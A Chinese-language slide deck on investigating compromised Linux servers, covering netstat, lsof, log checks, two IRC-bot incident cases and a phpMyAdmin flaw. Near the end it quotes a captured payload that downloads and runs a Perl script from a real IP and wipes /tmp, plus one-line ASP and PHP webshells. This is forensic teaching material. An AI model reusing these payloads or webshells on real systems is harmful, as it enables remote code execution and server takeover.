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Linux 入侵檢視 
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駭客入侵的新目的 
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基本指令介紹 
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可先利用 netstat 找出異常程序 

• netstat -na 與 netstat -ap 可找出IP與域名， 

  並找出有問題的程序名。 
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Netstat -na (1) 
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Netstat -ap(1) 
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可利用lsof找出異常程序的位置 

• 以netstat找出可疑程序代碼後， 

  可利用lsof找出可疑程序的位置。 

• lsof | grep 程序代碼(或程序名) 
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Netstat -na(2) 
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Netstat -ap(2) 
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lsof | grep shm 

※ /dev/shm：tmpfs(暫存檔案區，常設置於虛擬記憶體中)。 
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特殊的目錄如何進入 

• 利用雙引號，例如：cd "/tmp/       /.a" 
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lsof | grep bash 
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檢視登入記錄(last log) 

last(CentOS)        last -f /var/log/wtmp(Ubuntu) 
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檢視帳密輸入狀況記錄(secure log) 

vi /var/log/secure(CentOS)        vi /var/log/auth.log(Ubuntu) 

cat /var/log/auth.log | grep " Accepted" 找出有哪些帳號曾成功登入過   
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檢視輸入記錄(history) 
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檢視apache存取記錄(access_log) 
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檢視apache錯誤存取記錄(error_log) 

vi /var/log/httpd/error_log(CentOS)   
vi /var/log/apache2/error.log(Ubuntu) 
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情境一 
單位內有一部Server被通報有IRC網路流量 



Bruce Liu Bruce Liu 資安研究室 

Netstat -na 
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Netstat -ap 
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lsof | grep 5742 
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ls /var/tmp/ -l 
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ls /etc/group 



Bruce Liu Bruce Liu 資安研究室 

ls -l /etc/group 
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last 
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ls /var/spool/cron/ledunezi 
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情境二 
單位內有一部Server被通報有IRC網路流量 
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Netstat -na 
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Netstat -ap 
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lsof | grep 13488 
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ls /var/tmp/ -l 
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ls /var/log/httpd/error_log 
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ls /var/log/httpd/access_log 
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檢視套件版本 
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檢視cron table 
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檢視 /tmp 目錄內容 
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情境二結論 

• 由於惡意檔案多為apache帳號上傳，研判為web應用程式漏洞 

  造成。本情境中為phpMyAdmin的套件漏洞，只要是2.11.10.1 

  以前的版本均可能藉由/scripts/setup.php達成由外界傳入特製 

  的payload而造成系統自動下載程式並執行。建議phpMyAdmin 

  更新版本並修改資料匣名稱以降低被偵測出的風險。 

• 除phpMyAdmin的處理外，刪除惡意程式並移除apache的排程 

  檔應可暫時解決問題，尚無需重新安裝系統。 
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結語 
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資安觀念要與時俱進 

• 駭客很努力，一發現漏洞很快就會實作出攻擊程式。攻擊
程式可能利用新的漏洞，惡意程式不見得新。 

• 現在的攻擊手法愈來愈多，不需要的套件就不要安裝。 

• 要了解所使用的套件，不要什麼設定都用預設值，尤其是
自由軟體。(phpMyAdmin預設名稱容易被攻擊) 

• 一發現資安問題要盡快處理，否則問題可能會擴散，導致
更嚴重的問題。(曾有一單位四臺伺服器被入侵) 

• 系統要定期檢查，至少要檢查使用者列表與定期更換管理
者密碼。(避免被猜中密碼與被新增使用者) 
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Web攻擊模式之一 

1.遙控 

2.傳送惡意語法 3.下載惡意程式 

IRC 

4.自動到C&C報到 

5.透過IRC控制 
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Web攻擊語法(使用GET method) 
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Malware Downloader 

passthru(' 

cd /tmp;rm -rf *; 

wget http://50.22.11.7/~blogabur//wp-content/sec.txt;  

perl sec.txt; rm -rf *;  

fetch http://50.22.11.7/~blogabur//wp-content/sec.txt; 

perl sec.txt; rm -rf *;  

curl -O http://50.22.11.7/~blogabur//wp-content/sec.txt;  

perl sec.txt; rm -rf *;  

lynx --source http://50.22.11.7/~blogabur//wp-content/sec.txt >> sec.txt; 

perl sec.txt; rm -rf *;  

GET http://50.22.11.7/~blogabur//wp-content/sec.txt >> sec.txt;  

perl sec.txt; rm -rf *; 

lwp-download -a http://50.22.11.7/~blogabur//wp-content/sec.txt /tmp;  

perl sec.txt; rm -rf *');  
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C99Shell 
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C99Shell(con’d) 
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C99Shell(con’d) 
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猜一猜-這些連線可疑在哪裏? 

※這是一臺Web Server上所看到的連線 
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Su(Python) 



Bruce Liu Bruce Liu 資安研究室 

攻擊程式－隨機偽裝成不同瀏覽器 
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一句話木馬 

以任何型式在網頁中插入一小段可供特殊語法運行
的網頁程式碼 

ASP: <%execute(request("cmd"))%>  

ASP:<script language=VBScript runat=server> 

execute request("cmd")</script>  

PHP: <?php eval($_POST[cmd]);?>  

…還有很多種型式，其中包含了編碼型 
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簡報完畢 


